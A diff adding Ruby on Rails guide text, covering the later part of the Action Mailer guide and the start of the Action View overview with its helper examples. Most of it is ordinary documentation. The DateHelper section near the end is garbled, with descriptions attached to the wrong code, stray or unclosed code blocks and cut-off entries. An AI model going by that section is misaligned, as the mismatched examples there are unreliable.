+`user_mailer.text.erb` to be automatically recognized by your mailer as a
+layout.
+
+In order to use a different file, call `layout` in your mailer:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ layout 'awesome' # use awesome.(html|text).erb as the layout
+end
+```
+
+Just like with controller views, use `yield` to render the view inside the
+layout.
+
+You can also pass in a `layout: 'layout_name'` option to the render call inside
+the format block to specify different layouts for different actions:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def welcome_email(user)
+ mail(to: user.email) do |format|
+ format.html { render layout: 'my_layout' }
+ format.text
+ end
+ end
+end
+```
+
+Will render the HTML part using the `my_layout.html.erb` file and the text part
+with the usual `user_mailer.text.erb` file if it exists.
+
+### Generating URLs in Action Mailer Views
+
+Unlike controllers, the mailer instance doesn't have any context about the
+incoming request so you'll need to provide the `:host` parameter yourself.
+
+As the `:host` usually is consistent across the application you can configure it
+globally in `config/application.rb`:
+
+```ruby
+config.action_mailer.default_url_options = { host: 'example.com' }
+```
+
+#### generating URLs with `url_for`
+
+You need to pass the `only_path: false` option when using `url_for`. This will
+ensure that absolute URLs are generated because the `url_for` view helper will,
+by default, generate relative URLs when a `:host` option isn't explicitly
+provided.
+
+```erb
+<%= url_for(controller: 'welcome',
+ action: 'greeting',
+ only_path: false) %>
+```
+
+If you did not configure the `:host` option globally make sure to pass it to
+`url_for`.
+
+
+```erb
+<%= url_for(host: 'example.com',
+ controller: 'welcome',
+ action: 'greeting') %>
+```
+
+NOTE: When you explicitly pass the `:host` Rails will always generate absolute
+URLs, so there is no need to pass `only_path: false`.
+
+#### generating URLs with named routes
+
+Email clients have no web context and so paths have no base URL to form complete
+web addresses. Thus, you should always use the "_url" variant of named route
+helpers.
+
+If you did not configure the `:host` option globally make sure to pass it to the
+url helper.
+
+```erb
+<%= user_url(@user, host: 'example.com') %>
+```
+
+### Sending Multipart Emails
+
+Action Mailer will automatically send multipart emails if you have different
+templates for the same action. So, for our UserMailer example, if you have
+`welcome_email.text.erb` and `welcome_email.html.erb` in
+`app/views/user_mailer`, Action Mailer will automatically send a multipart email
+with the HTML and text versions setup as different parts.
+
+The order of the parts getting inserted is determined by the `:parts_order`
+inside of the `ActionMailer::Base.default` method.
+
+### Sending Emails with Attachments
+
+Attachments can be added by using the `attachments` method:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def welcome_email(user)
+ @user = user
+ @url = user_url(@user)
+ attachments['terms.pdf'] = File.read('/path/terms.pdf')
+ mail(to: @user.email,
+ subject: 'Please see the Terms and Conditions attached')
+ end
+end
+```
+
+The above will send a multipart email with an attachment, properly nested with
+the top level being `multipart/mixed` and the first part being a
+`multipart/alternative` containing the plain text and HTML email messages.
+
+### Sending Emails with Dynamic Delivery Options
+
+If you wish to override the default delivery options (e.g. SMTP credentials)
+while delivering emails, you can do this using `delivery_method_options` in the
+mailer action.
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def welcome_email(user, company)
+ @user = user
+ @url = user_url(@user)
+ delivery_options = { user_name: company.smtp_user,
+ password: company.smtp_password,
+ address: company.smtp_host }
+ mail(to: @user.email,
+ subject: "Please see the Terms and Conditions attached",
+ delivery_method_options: delivery_options)
+ end
+end
+```
+
+### Sending Emails without Template Rendering
+
+There may be cases in which you want to skip the template rendering step and
+supply the email body as a string. You can achieve this using the `:body`
+option. In such cases don't forget to add the `:content_type` option. Rails
+will default to `text/plain` otherwise.
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def welcome_email(user, email_body)
+ mail(to: user.email,
+ body: email_body,
+ content_type: "text/html",
+ subject: "Already rendered!")
+ end
+end
+```
+
+Receiving Emails
+----------------
+
+Receiving and parsing emails with Action Mailer can be a rather complex
+endeavor. Before your email reaches your Rails app, you would have had to
+configure your system to somehow forward emails to your app, which needs to be
+listening for that. So, to receive emails in your Rails app you'll need to:
+
+* Implement a `receive` method in your mailer.
+
+* Configure your email server to forward emails from the address(es) you would
+ like your app to receive to `/path/to/app/bin/rails runner
+ 'UserMailer.receive(STDIN.read)'`.
+
+Once a method called `receive` is defined in any mailer, Action Mailer will
+parse the raw incoming email into an email object, decode it, instantiate a new
+mailer, and pass the email object to the mailer `receive` instance
+method. Here's an example:
+
+```ruby
+class UserMailer < ActionMailer::Base
+ def receive(email)
+ page = Page.find_by_address(email.to.first)
+ page.emails.create(
+ subject: email.subject,
+ body: email.body
+ )
+
+ if email.has_attachments?
+ email.attachments.each do |attachment|
+ page.attachments.create({
+ file: attachment,
+ description: email.subject
+ })
+ end
+ end
+ end
+end
+```
+
+Action Mailer Callbacks
+---------------------------
+
+Action Mailer allows for you to specify a `before_action`, `after_action` and
+`around_action`.
+
+* Filters can be specified with a block or a symbol to a method in the mailer
+ class similar to controllers.
+
+* You could use a `before_action` to populate the mail object with defaults,
+ delivery_method_options or insert default headers and attachments.
+
+* You could use an `after_action` to do similar setup as a `before_action` but
+ using instance variables set in your mailer action.
+
+```ruby
+class UserMailer < ActionMailer::Base
+ after_action :set_delivery_options,
+ :prevent_delivery_to_guests,
+ :set_business_headers
+
+ def feedback_message(business, user)
+ @business = business
+ @user = user
+ mail
+ end
+
+ def campaign_message(business, user)
+ @business = business
+ @user = user
+ end
+
+ private
+
+ def set_delivery_options
+ # You have access to the mail instance,
+ # @business and @user instance variables here
+ if @business && @business.has_smtp_settings?
+ mail.delivery_method.settings.merge!(@business.smtp_settings)
+ end
+ end
+
+ def prevent_delivery_to_guests
+ if @user && @user.guest?
+ mail.perform_deliveries = false
+ end
+ end
+
+ def set_business_headers
+ if @business
+ headers["X-SMTPAPI-CATEGORY"] = @business.code
+ end
+ end
+end
+```
+
+* Mailer Filters abort further processing if body is set to a non-nil value.
+
+Using Action Mailer Helpers
+---------------------------
+
+Action Mailer now just inherits from `AbstractController`, so you have access to
+the same generic helpers as you do in Action Controller.
+
+Action Mailer Configuration
+---------------------------
+
+The following configuration options are best made in one of the environment
+files (environment.rb, production.rb, etc...)
+
+| Configuration | Description |
+|---------------|-------------|
+|`logger`|Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.|
+|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - [...]
+|`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i -t`.</li></ul>|
+|`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.|
+|`delivery_method`|Defines a delivery method. Possible values are `:smtp` (default), `:sendmail`, `:file` and `:test`.|
+|`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
+|`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|

+
+For a complete writeup of possible configurations see the
+[Action Mailer section](configuring.html#configuring-action-mailer) in
+our Configuring Rails Applications guide.
+
+### Example Action Mailer Configuration
+
+An example would be adding the following to your appropriate
+`config/environments/$RAILS_ENV.rb` file:
+
+```ruby
+config.action_mailer.delivery_method = :sendmail
+# Defaults to:
+# config.action_mailer.sendmail_settings = {
+# location: '/usr/sbin/sendmail',
+# arguments: '-i -t'
+# }
+config.action_mailer.perform_deliveries = true
+config.action_mailer.raise_delivery_errors = true
+config.action_mailer.default_options = {from: 'no-replay at example.com'}
+```
+
+### Action Mailer Configuration for Gmail
+
+As Action Mailer now uses the Mail gem, this becomes as simple as adding to your
+`config/environments/$RAILS_ENV.rb` file:
+
+```ruby
+config.action_mailer.delivery_method = :smtp
+config.action_mailer.smtp_settings = {
+ address: 'smtp.gmail.com',
+ port: 587,
+ domain: 'example.com',
+ user_name: '<username>',
+ password: '<password>',
+ authentication: 'plain',
+ enable_starttls_auto: true }
+```
+
+Mailer Testing
+--------------
+
+You can find detailed instructions on how to test your mailers in the
+[testing guide](testing.html#testing-your-mailers).
+
+Intercepting Emails
+-------------------
+There are situations where you need to edit an email before it's
+delivered. Fortunately Action Mailer provides hooks to intercept every
+email. You can register an interceptor to make modifications to mail messages
+right before they are handed to the delivery agents.
+
+```ruby
+class SandboxEmailInterceptor
+ def self.delivering_email(message)
+ message.to = ['sandbox at example.com']
+ end
+end
+```
+
+Before the interceptor can do its job you need to register it with the Action
+Mailer framework. You can do this in an initializer file
+`config/initializers/sandbox_email_interceptor.rb`
+
+```ruby
+ActionMailer::Base.register_interceptor(SandboxEmailInterceptor) if Rails.env.staging?
+```
+
+NOTE: The example above uses a custom environment called "staging" for a
+production like server but for testing purposes. You can read
+[Creating Rails environments](./configuring.html#creating-rails-environments)
+for more information about custom Rails environments.

+Action View Overview
+====================
+
+After reading this guide, you will know:
+
+* What Action View is and how to use it with Rails.
+* How best to use templates, partials, and layouts.
+* What helpers are provided by Action View and how to make your own.
+* How to use localized views.
+* How to use Action View outside of Rails.
+
+--------------------------------------------------------------------------------
+
+What is Action View?
+--------------------
+
+Action View and Action Controller are the two major components of Action Pack. In Rails, web requests are handled by Action Pack, which splits the work into a controller part (performing the logic) and a view part (rendering a template). Typically, Action Controller will be concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response.
+
+Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves.
+
+NOTE: Some features of Action View are tied to Active Record, but that doesn't mean Action View depends on Active Record. Action View is an independent package that can be used with any sort of Ruby libraries.
+
+Using Action View with Rails
+----------------------------
+
+For each controller there is an associated directory in the `app/views` directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action.
+
+Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:
+
+```bash
+$ rails generate scaffold post
+ [...]
+ invoke scaffold_controller
+ create app/controllers/posts_controller.rb
+ invoke erb
+ create app/views/posts
+ create app/views/posts/index.html.erb
+ create app/views/posts/edit.html.erb
+ create app/views/posts/show.html.erb
+ create app/views/posts/new.html.erb
+ create app/views/posts/_form.html.erb
+ [...]
+```
+
+There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above.
+For example, the index controller action of the `posts_controller.rb` will use the `index.html.erb` view file in the `app/views/posts` directory.
+The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Later on this guide you can find a more detailed documentation of each one of these three components.
+
+
+Templates, Partials and Layouts
+-------------------------------
+
+As mentioned before, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`.
+Below is a brief overview of each one of them.
+
+### Templates
+
+Action View templates can be written in several ways. If the template file has a `.erb` extension then it uses a mixture of ERB (included in Ruby) and HTML. If the template file has a `.builder` extension then a fresh instance of `Builder::XmlMarkup` library is used.
+
+Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have `.html.erb` as a file extension.
+
+#### ERB
+
+Within an ERB template, Ruby code can be included using both `<% %>` and `<%= %>` tags. The `<% %>` tags are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the `<%= %>` tags are used when you want output.
+
+Consider the following loop for names:
+
+```html+erb
+<h1>Names of all the people</h1>
+<% @people.each do |person| %>
+ Name: <%= person.name %><br/>
+<% end %>
+```
+
+The loop is set up in regular embedding tags (`<% %>`) and the name is written using the output embedding tags (`<%= %>`). Note that this is not just a usage suggestion, for regular output functions like `print` or `puts` won't work with ERB templates. So this would be wrong:
+
+```html+erb
+<%# WRONG %>
+Hi, Mr. <% puts "Frodo" %>
+```
+
+To suppress leading and trailing whitespaces, you can use `<%-` `-%>` interchangeably with `<%` and `%>`.
+
+#### Builder
+
+Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named `xml` is automatically made available to templates with a `.builder` extension.
+
+Here are some basic examples:
+
+```ruby
+xml.em("emphasized")
+xml.em { xml.b("emph & bold") }
+xml.a("A Link", "href" => "http://rubyonrails.org")
+xml.target("name" => "compile", "option" => "fast")
+```
+
+which would produce:
+
+```html
+<em>emphasized</em>
+<em><b>emph & bold</b></em>
+<a href="http://rubyonrails.org">A link</a>
+<target option="fast" name="compile" />
+```
+
+Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
+
+```ruby
+xml.div {
+ xml.h1(@person.name)
+ xml.p(@person.bio)
+}
+```
+
+would produce something like:
+
+```html
+<div>
+ <h1>David Heinemeier Hansson</h1>
+ <p>A product of Danish Design during the Winter of '79...</p>
+</div>
+```
+
+Below is a full-length RSS example actually used on Basecamp:
+
+```ruby
+xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+ xml.channel do
+ xml.title(@feed_title)
+ xml.link(@url)
+ xml.description "Basecamp: Recent items"
+ xml.language "en-us"
+ xml.ttl "40"
+
+ for item in @recent_items
+ xml.item do
+ xml.title(item_title(item))
+ xml.description(item_description(item)) if item_description(item)
+ xml.pubDate(item_pubDate(item))
+ xml.guid(@person.firm.account.url + @recent_items.url(item))
+ xml.link(@person.firm.account.url + @recent_items.url(item))
+ xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+ end
+ end
+ end
+end
+```
+
+#### Template Caching
+
+By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode.
+
+### Partials
+
+Partial templates – usually just called "partials" – are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates.
+
+#### Naming Partials
+
+To render a partial as part of a view, you use the `render` method within the view:
+
+```erb
+<%= render "menu" %>
+```
+
+This will render a file named `_menu.html.erb` at that point within the view that is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+
+```erb
+<%= render "shared/menu" %>
+```
+
+That code will pull in the partial from `app/views/shared/_menu.html.erb`.
+
+#### Using Partials to simplify Views
+
+One way to use partials is to treat them as the equivalent of subroutines; a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looks like this:
+
+```html+erb
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+<% @products.each do |product| %>
+ <%= render partial: "product", locals: {product: product} %>
+<% end %>
+
+<%= render "shared/footer" %>
+```
+
+Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
+
+#### The `as` and `object` options
+
+By default `ActionView::Partials::PartialRenderer` has its object in a local variable with the same name as the template. So, given:
+
+```erb
+<%= render partial: "product" %>
+```
+
+within product we'll get `@product` in the local variable `product`, as if we had written:
+
+```erb
+<%= render partial: "product", locals: {product: @product} %>
+```
+
+With the `as` option we can specify a different name for the local variable. For example, if we wanted it to be `item` instead of `product` we would do:
+
+```erb
+<%= render partial: "product", as: "item" %>
+```
+
+The `object` option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere (eg. in a different instance variable or in a local variable).
+
+For example, instead of:
+
+```erb
+<%= render partial: "product", locals: {product: @item} %>
+```
+
+we would do:
+
+```erb
+<%= render partial: "product", object: @item %>
+```
+
+The `object` and `as` options can also be used together:
+
+```erb
+<%= render partial: "product", object: @item, as: "item" %>
+```
+
+#### Rendering Collections
+
+It is very common that a template needs to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array.
+
+So this example for rendering all the products:
+
+```erb
+<% @products.each do |product| %>
+ <%= render partial: "product", locals: { product: product } %>
+<% end %>
+```
+
+can be rewritten in a single line:
+
+```erb
+<%= render partial: "product", collection: @products %>
+```
+
+When a partial is called like this (eg. with a collection), the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within it you can refer to `product` to get the instance that is being rendered.
+
+You can use a shorthand syntax for rendering collections. Assuming `@products` is a collection of `Product` instances, you can simply write the following to produce the same result:
+
+```erb
+<%= render @products %>
+```
+
+Rails determines the name of the partial to use by looking at the model name in the collection, `Product` in this case. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection.
+
+#### Spacer Templates
+
+You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
+
+```erb
+<%= render @products, spacer_template: "product_ruler" %>
+```
+
+Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials.
+
+### Layouts
+
+Layouts can be used to render a common view template around the results of Rails controller actions. Typically, every Rails has a couple of overall layouts that most pages are rendered within. For example, a site might have a layout for a logged in user, and a layout for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigat [...]
+
+Partial Layouts
+---------------
+
+Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion.
+
+Let's say we're displaying a post on a page, that should be wrapped in a `div` for display purposes. First, we'll create a new `Post`:
+
+```ruby
+Post.create(body: 'Partial Layouts are cool!')
+```
+
+In the `show` template, we'll render the `_post` partial wrapped in the `box` layout:
+
+**posts/show.html.erb**
+
+```erb
+<%= render partial: 'post', layout: 'box', locals: {post: @post} %>
+```
+
+The `box` layout simply wraps the `_post` partial in a `div`:
+
+**posts/_box.html.erb**
+
+```html+erb
+<div class='box'>
+ <%= yield %>
+</div>
+```
+
+The `_post` partial wraps the post's `body` in a `div` with the `id` of the post using the `div_for` helper:
+
+**posts/_post.html.erb**
+
+```html+erb
+<%= div_for(post) do %>
+ <p><%= post.body %></p>
+<% end %>
+```
+
+this would output the following:
+
+```html
+<div class='box'>
+ <div id='post_1'>
+ <p>Partial Layouts are cool!</p>
+ </div>
+</div>
+```
+
+Note that the partial layout has access to the local `post` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
+
+You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `_post` partial, we could do this instead:
+
+**posts/show.html.erb**
+
+```html+erb
+<% render(layout: 'box', locals: {post: @post}) do %>
+ <%= div_for(post) do %>
+ <p><%= post.body %></p>
+ <% end %>
+<% end %>
+```
+
+Supposing we use the same `_box` partial from above, this would produce the same output as the previous example.
+
+View Paths
+----------
+
+TODO...
+
+Overview of helpers provided by Action View
+-------------------------------------------
+
+WIP: Not all the helpers are listed here. For a full list see the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html)
+
+The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the [API Documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html), which covers all of the helpers in more detail, but this should serve as a good starting point.
+
+### RecordTagHelper
+
+This module provides methods for generating container tags, such as `div`, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use.
+
+#### content_tag_for
+
+Renders a container tag that relates to your Active Record Object.
+
+For example, given `@post` is the object of `Post` class, you can do:
+
+```html+erb
+<%= content_tag_for(:tr, @post) do %>
+ <td><%= @post.title %></td>
+<% end %>
+```
+
+This will generate this HTML output:
+
+```html
+<tr id="post_1234" class="post">
+ <td>Hello World!</td>
+</tr>
+```
+
+You can also supply HTML attributes as an additional option hash. For example:
+
+```html+erb
+<%= content_tag_for(:tr, @post, class: "frontpage") do %>
+ <td><%= @post.title %></td>
+<% end %>
+```
+
+Will generate this HTML output:
+
+```html
+<tr id="post_1234" class="post frontpage">
+ <td>Hello World!</td>
+</tr>
+```
+
+You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given `@posts` is an array of two `Post` objects:
+
+```html+erb
+<%= content_tag_for(:tr, @posts) do |post| %>
+ <td><%= post.title %></td>
+<% end %>
+```
+
+Will generate this HTML output:
+
+```html
+<tr id="post_1234" class="post">
+ <td>Hello World!</td>
+</tr>
+<tr id="post_1235" class="post">
+ <td>Ruby on Rails Rocks!</td>
+</tr>
+```
+
+#### div_for
+
+This is actually a convenient method which calls `content_tag_for` internally with `:div` as the tag name. You can pass either an Active Record object or a collection of objects. For example:
+
+```html+erb
+<%= div_for(@post, class: "frontpage") do %>
+ <td><%= @post.title %></td>
+<% end %>
+```
+
+Will generate this HTML output:
+
+```html
+<div id="post_1234" class="post frontpage">
+ <td>Hello World!</td>
+</div>
+```
+
+### AssetTagHelper
+
+This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.
+
+By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting `config.action_controller.asset_host` in the application configuration, typically in `config/environments/production.rb`. For example, let's say your asset host is `assets.example.com`:
+
+```ruby
+config.action_controller.asset_host = "assets.example.com"
+image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
+```
+
+#### register_javascript_expansion
+
+Register one or more JavaScript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register JavaScript files that the plugin installed in `vendor/assets/javascripts`.
+
+```ruby
+ActionView::Helpers::AssetTagHelper.register_javascript_expansion monkey: ["head", "body", "tail"]
+
+javascript_include_tag :monkey # =>
+ <script src="/assets/head.js"></script>
+ <script src="/assets/body.js"></script>
+ <script src="/assets/tail.js"></script>
+```
+
+#### register_stylesheet_expansion
+
+Register one or more stylesheet files to be included when symbol is passed to `stylesheet_link_tag`. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in `vendor/assets/stylesheets`.
+
+```ruby
+ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion monkey: ["head", "body", "tail"]
+
+stylesheet_link_tag :monkey # =>
+ <link href="/assets/head.css" media="screen" rel="stylesheet" />
+ <link href="/assets/body.css" media="screen" rel="stylesheet" />
+ <link href="/assets/tail.css" media="screen" rel="stylesheet" />
+```
+
+#### auto_discovery_link_tag
+
+Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed.
+
+```ruby
+auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # =>
+ <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed" />
+```
+
+#### image_path
+
+Computes the path to an image asset in the `app/assets/images` directory. Full paths from the document root will be passed through. Used internally by `image_tag` to build the image path.
+
+```ruby
+image_path("edit.png") # => /assets/edit.png
+```
+
+Fingerprint will be added to the filename if config.assets.digest is set to true.
+
+```ruby
+image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png
+```
+
+#### image_url
+
+Computes the url to an image asset in the `app/assets/images` directory. This will call `image_path` internally and merge with your current host or your asset host.
+
+```ruby
+image_url("edit.png") # => http://www.example.com/assets/edit.png
+```
+
+#### image_tag
+
+Returns an html image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory.
+
+```ruby
+image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />
+```
+
+#### javascript_include_tag
+
+Returns an html script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root.
+
+```ruby
+javascript_include_tag "common" # => <script src="/assets/common.js"></script>
+```
+
+If the application does not use the asset pipeline, to include the jQuery JavaScript library in your application, pass `:defaults` as the source. When using `:defaults`, if an `application.js` file exists in your `app/assets/javascripts` directory, it will be included as well.
+
+```ruby
+javascript_include_tag :defaults
+```
+
+You can also include all JavaScript files in the `app/assets/javascripts` directory using `:all` as the source.
+
+```ruby
+javascript_include_tag :all
+```
+
+You can also cache multiple JavaScript files into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if `ActionController::Base.perform_caching` is set to true (which is the case by default for the Rails production environment, but not for the development environment).
+
+```ruby
+javascript_include_tag :all, cache: true # =>
+ <script src="/javascripts/all.js"></script>
+```
+
+#### javascript_path
+
+Computes the path to a JavaScript asset in the `app/assets/javascripts` directory. If the source filename has no extension, `.js` will be appended. Full paths from the document root will be passed through. Used internally by `javascript_include_tag` to build the script path.
+
+```ruby
+javascript_path "common" # => /assets/common.js
+```
+
+#### javascript_url
+
+Computes the url to a JavaScript asset in the `app/assets/javascripts` directory. This will call `javascript_path` internally and merge with your current host or your asset host.
+
+```ruby
+javascript_url "common" # => http://www.example.com/assets/common.js
+```
+
+#### stylesheet_link_tag
+
+Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, `.css` will be appended automatically.
+
+```ruby
+stylesheet_link_tag "application" # => <link href="/assets/application.css" media="screen" rel="stylesheet" />
+```
+
+You can also include all styles in the stylesheet directory using :all as the source:
+
+```ruby
+stylesheet_link_tag :all
+```
+
+You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment).
+
+```ruby
+stylesheet_link_tag :all, cache: true
+# => <link href="/assets/all.css" media="screen" rel="stylesheet" />
+```
+
+#### stylesheet_path
+
+Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.
+
+```ruby
+stylesheet_path "application" # => /assets/application.css
+```
+
+#### stylesheet_url
+
+Computes the url to a stylesheet asset in the `app/assets/stylesheets` directory. This will call `stylesheet_path` internally and merge with your current host or your asset host.
+
+```ruby
+stylesheet_url "application" # => http://www.example.com/assets/application.css
+```
+
+### AtomFeedHelper
+
+#### atom_feed
+
+This helper makes building an Atom feed easy. Here's a full usage example:
+
+**config/routes.rb**
+
+```ruby
+resources :posts
+```
+
+**app/controllers/posts_controller.rb**
+
+```ruby
+def index
+ @posts = Post.all
+
+ respond_to do |format|
+ format.html
+ format.atom
+ end
+end
+```
+
+**app/views/posts/index.atom.builder**
+
+```ruby
+atom_feed do |feed|
+ feed.title("Posts Index")
+ feed.updated((@posts.first.created_at))
+
+ @posts.each do |post|
+ feed.entry(post) do |entry|
+ entry.title(post.title)
+ entry.content(post.body, type: 'html')
+
+ entry.author do |author|
+ author.name(post.author_name)
+ end
+ end
+ end
+end
+```
+
+### BenchmarkHelper
+
+#### benchmark
+
+Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.
+
+```html+erb
+<% benchmark "Process data files" do %>
+ <%= expensive_files_operation %>
+<% end %>
+```
+
+This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.
+
+### CacheHelper
+
+#### cache
+
+A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See `ActionController::Caching::Fragments` for more information.
+
+```erb
+<% cache do %>
+ <%= render "shared/footer" %>
+<% end %>
+```
+
+### CaptureHelper
+
+#### capture
+
+The `capture` method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
+
+```html+erb
+<% @greeting = capture do %>
+ <p>Welcome! The date and time is <%= Time.now %></p>
+<% end %>
+```
+
+The captured variable can then be used anywhere else.
+
+```html+erb
+<html>
+ <head>
+ <title>Welcome!</title>
+ </head>
+ <body>
+ <%= @greeting %>
+ </body>
+</html>
+```
+
+#### content_for
+
+Calling `content_for` stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to `yield`.
+
+For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use `content_for` to include this JavaScript on our special page without fattening up the rest of the site.
+
+**app/views/layouts/application.html.erb**
+
+```html+erb
+<html>
+ <head>
+ <title>Welcome!</title>
+ <%= yield :special_script %>
+ </head>
+ <body>
+ <p>Welcome! The date and time is <%= Time.now %></p>
+ </body>
+</html>
+```
+
+**app/views/posts/special.html.erb**
+
+```html+erb
+<p>This is a special page.</p>
+
+<% content_for :special_script do %>
+ <script>alert('Hello!')</script>
+<% end %>
+```
+
+### DateHelper
+
+#### date_select
+

+
+Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.
+
+```ruby
+datetime_select("post", "published_on")

+
+#### distance_of_time_in_words
+
+Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set `include_seconds` to true if you want more detailed approximations.
+
+```ruby
+distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than a minute
+distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true) # => less than 20 seconds
+```
+
+#### select_date
+
+Returns a set of html select-tags (one for year, month, and day) pre-selected with the `date` provided.
+
+```ruby
+# Generates a date select that defaults to the date provided (six days after today)
+select_date(Time.today + 6.days)
+
+# Generates a date select that defaults to today (no specified date)
+select_date()
+```
+
+#### select_datetime
+
+Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided.

+
+```ruby
+# Generates a select field for days that defaults to the day for the date provided
+select_day(Time.today + 2.days)
+
+# Generates a select field for days that defaults to the number given
+select_day(5)
+```
+
+#### select_hour
+
+Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.

+```
+
+#### select_minute
+
+Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.

+#### select_year
+
+Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the `:start_year` and `:end_year` keys in the `options`.
+
+```ruby
+# Generates a select field for five years on either side of Date.today that defaults to the current year
+select_year(Date.today)
+
+# Generates a select field from 1900 to 2009 that defaults to the current year
